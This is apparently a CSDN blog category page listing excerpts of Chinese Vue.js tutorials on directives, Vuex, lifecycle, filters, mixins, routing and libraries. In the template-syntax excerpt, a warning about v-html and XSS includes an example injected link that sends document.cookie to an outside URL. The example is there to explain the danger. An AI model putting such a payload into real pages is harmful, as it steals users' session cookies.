vue
文章平均质量分 54
解决各种vue的问题
X W F
这个作者很懒,什么都没留下…
展开
-
Vue.js
Vue.js 自定义指令文章目录Vue.js 自定义指令除了默认设置的核心指令( v-model 和 v-show ), Vue 也允许注册自定义指令。下面我们注册一个全局指令 v-focus, 该指令的功能是在页面加载时,元素获得焦点:<div id="app"> <p>页面载入时,input 元素自动获取焦点:</p> <inp...原创 2020-04-21 12:53:01 · 120 阅读 · 2 评论 -
typescript+vue 常见报错
报错1. main.ts报错( Cannot find module ‘./App.vue’.)原因: typescript不能识别.vue文件解决办法: 引入vue的typescript declare库在tsconfig.json中加入其中,types是自己延伸的一些declare下面的是vue中的types拓展改后的tsconfig{“exclude”: [ “node_modules” ], “compilerOptions”: { “allowSyntheticDefaultImports原创 2020-06-29 08:20:00 · 1063 阅读 · 0 评论 -
组件的生命周期
组件的整个生命有三个阶段:1. 加载期(初创期):做一些事情(执行了一些函数)2. 更新期3. 销毁期生命周期函数加载阶段1. constructor() 加载的时候调用一次,可以初始化state2. getDefaultProps() 设置默认的props,也可以dufaultProps设置组件的默认属性3. getInitialState() 初始化state,也可以直接constructor中定义this.state4. componentWillMount() 组件加载时只调用,以原创 2020-09-04 08:17:20 · 265 阅读 · 0 评论 -
Vuex简单入门
文章目录什么是Vuex使用VuexVuex的组成部分StateMutationsActionsGettersPlugins什么是Vuex在Vue中,多组件的开发给我们带来了很多的方便,但同时当项目规模变大的时候,多个组件间的数据通信和状态管理就显得难以维护。而Vuex就此应运而生。将状态管理单独拎出来,应用统一的方式进行处理,在后期维护的过程中数据的修改和维护就变得简单而清晰了。Vuex采用和Redux类似的单向数据流的方式来管理数据。用户界面负责触发动作(Action)进而改变对应状态(State),原创 2020-05-11 09:25:25 · 86 阅读 · 0 评论 -
Vuex 基本简单的使用
文章目录适用场景如何在项目中使用vuexthis.$store.state.数据名称的调用.vue组件调用:(第一种直接使用).vue组件调用:(第二种导入辅助函数)页面直接使用mutations:如果要修改state的数据需要在store中调用方法全局定义使用:调用辅助函数mapMutations调用方法:组件展示:getters的使用(相当于计算属性):适用场景全局共享数据,抛开繁琐的组...原创 2020-05-08 09:49:07 · 133 阅读 · 0 评论 -
9个Vue.js库
9个Vue.js库文章目录9个Vue.js库Vue-Lazyloadvue-headBootstrapVueVue-multiselectElement UIvuelidateVue.DraggableVue ApolloVue-i18nVue-Lazyload地址:https://github.com/hilongjw/vue-lazyloadVue-Lazyload是一个出色的库,不仅...原创 2020-04-26 13:20:34 · 403 阅读 · 0 评论 -
9个Vue.js库
1、Vue-Lazyload地址:https://github.com/hilongjw/vue-lazyloadVue-Lazyload是一个出色的库,不仅可以延迟加载图像,还可以延迟加载组件。延迟加载是一种编程实践,在这种实践中,仅在首次需要时才加载或初始化对象。在Web开发中,通常使用延迟加载在图像进入视口之前加载图像。这有可能极大地提高性能,特别是如果你的应用程序中有很多图像时。Vue-Lazyload库还可以使用惰性容器来延迟加载组件,这使得它可以在一个容器中加载一组图像。在延迟加载方原创 2020-06-04 06:56:28 · 148 阅读 · 0 评论 -
最完整的前端框架Vue.js全面介绍
1基本功见过很多前端用Vue,React,就放弃JavaScript的修炼。作为基本功,无论工具如何变迁,了解JavaScript底层,理解JavaScript的各种特性,无论你用什么工具都是手到擒来。底子不扎实,日常出现一个bug都要花很多时间去定位问题。如果你去观察那些前端负责人,前端架构师,除了技术层面,他们在设计模式,思维以及对软件工程的理解都是很优秀的。而这些的前提还是基础先扎实,再去打上层建筑。我们需要学习哪些:JavaScript的运行机制,作用域,原型链,变量特点等底层原理。原创 2020-08-05 20:53:24 · 310 阅读 · 0 评论 -
vue 基础 模板
模板的作用是:为了提高渲染效率,vue 会吧模板编译成为虚拟 DOM 树,然后再生成真是的DOM2. 模板写到哪?1. 在挂在的元素内部直接书写2. 在 template 配置中书写3. 在 render配置中用函数创建3. 模板中写什么?1. 静态页面2. 插值:{{JS表达式}}3. 指令1. `v-html:绑定元素的innerHTML2. v-bind: 属性名 :绑定属性3. v-on: 事件名 :绑定事件4. v-if:判断元素是否需要渲染5. v-sho.原创 2020-08-15 16:33:44 · 243 阅读 · 0 评论 -
vue基础——模板语法
(1) 插值 a.文本 {{ }} b.纯HTML v-html慎用 ,防止XSS,CSRF( (1) 前端过滤 (前端采用正则将容易注入的字符<等过滤掉) (2) 后台转义( < > 换成 < > ) )<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a> c.表达式(2) 指令原创 2020-08-29 20:59:38 · 135 阅读 · 0 评论 -
vue 笔记
vue 实例:通过 new Vue({…})创建对象配置对象中的部分内容会被提取到 vue 实例中:1. data2. props3. methods4. computed挂载:让 vue 实例控制网页中某个区域的过程,称之为挂载挂载的方式:1. 通过el:“css 选择器” 进行配置2. 通过 vue 实例 .$mount(“css选择器”)进行配置模板:1. 模板的作用是:为了提高渲染效率,vue 会吧模板编译成为虚拟 DOM 树,然后再生成真是的DOM2. 模板写到哪?原创 2020-08-25 08:09:55 · 114 阅读 · 0 评论 -
vue js 混入
Vue.js 混入混入 (mixins)定义了一部分可复用的方法或者计算属性。混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被混入该组件本身的选项。来看一个简单的实例:实例var vm = new Vue({ el: '#databinding', data: { }, methods : { },});// 定义一个混入对象var myMixin = { created: function () { t原创 2020-08-22 09:50:21 · 124 阅读 · 0 评论 -
VUE 组件介绍
ES6 模块化1. 没有模块化的世界:全局变量污染、难以管理的依赖2. 常见的模块化标准:CommonJS、ES6 Module、AMD、CMD、UMD…导出js: 使用模块化在script标签上写 type=“module”在js函数开头 写入 export default(默认导出:{ default:fn })在js函数开头 写入 export (真名导出(普通导出):{ double:fn })1. 从js中写入 import xxx form “路径.js” (导入模块化js)2.原创 2020-08-18 08:10:07 · 172 阅读 · 0 评论 -
vue路由自动加载、按组件异步载入vuex以及dll优化
一、vue路由自动加载介绍:使用统一规则命名路由文件名,通过webpack方法require.context方法对文件进行读取,动态生成路由数据核心代码://param(路径,是否遍历子文件夹内文件,匹配文件正则)let r = require.context('./pages',true,/.vue/)r.keys()//返回遍历的文件路径数组r(key).default//路由文件输出内容二、按组件异步载入vuex介绍:按module划分store,在组建中定义白能量标记是否原创 2021-05-10 14:49:28 · 303 阅读 · 0 评论 -
vue中element-ui的内置过渡动画
vue中element-ui的内置过渡动画element-ui说明淡入淡出动画(fade)缩放(zoom)展开折叠(collapse)按需引入element-ui说明Element 内应用在部分组件的过渡动画,你也可以直接使用,其实简单来说就是复制粘贴,具体参考element-ui官网淡入淡出动画(fade)提供 el-fade-in-linear 和 el-fade-in 两种效果。<template> <div> <el-button @clic原创 2021-05-24 09:46:56 · 2915 阅读 · 1 评论 -
vue脚手架搭建
1.下载node.JS并安装 node-v npm-v 安装淘宝镜像==>cnpm 2.cnpm install webpack -g cnpm install webpack webpack-cli -g 3.cnpm install vue-cli -g [vue-cli 2.0版] cnpm install @vue/cli -global [vue-cli 3.0+版] cnpm install -g @vue..原创 2020-11-20 10:37:59 · 72 阅读 · 0 评论 -
vue过滤器
理解过滤器功能:对要显示的数据进行特定格式化后在显示注意:并没有改变原本的数据,可是产生新的对应的数据编码2.1 定义过滤器vue.filter(filterName,function(value,[arg1,arg2]){进行一定的数据处理return newValue})2.2 使用过滤器{{myDate | filterName}}{{myDate | filterName(arg))}}<!DOCTYPE html><html lang="en">.原创 2020-11-18 08:49:03 · 89 阅读 · 0 评论 -
vue基础
Vue文章目录Vue方法修饰符组件方法created 调用 created 生命周期钩子beforeCreate 调用 beforeCreate 生命周期钩子methods 放置方法(处理复杂的逻辑)computed 计算属性watch 监听器filters 过滤器修饰符.stop 阻止单击事件继续传播(写入内部) 阻止冒泡.prevent原创 2020-11-17 20:26:52 · 65 阅读 · 0 评论 -
vue 列表渲染实例
<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> </head> <body> <原创 2020-11-04 08:06:29 · 391 阅读 · 0 评论 -
vue组件
ES6 模块化1. 没有模块化的世界:全局变量污染、难以管理的依赖2. 常见的模块化标准:CommonJS、ES6 Module、AMD、CMD、UMD…导出js: 使用模块化在script标签上写 type=“module”在js函数开头 写入 export default(默认导出:{ default:fn })在js函数开头 写入 export (真名导出(普通导出):{ double:fn })1. 从js中写入 import xxx form “路径.js” (导入模块化js)2.原创 2020-11-03 15:29:25 · 127 阅读 · 0 评论 -
Vue中 computed、methods和watch的区别
一、computed 和 methodscomputed是计算属性,methods是方法,都可以实现对 data 中的数据加工后再输出。不同的是 computed 计算属性是基于它们的依赖进行缓存的。计算属性 computed 只有在它的相关依赖发生改变时才会重新求值。这就意味着只要data 中的数据 message 还没有发生改变,多次访问 reversedMessage(对message 进行加工的处理函数) 计算属性会立即返回之前的计算结果,而不必再次执行函数。而对于method ,只要发生重新渲原创 2020-11-02 10:03:26 · 185 阅读 · 0 评论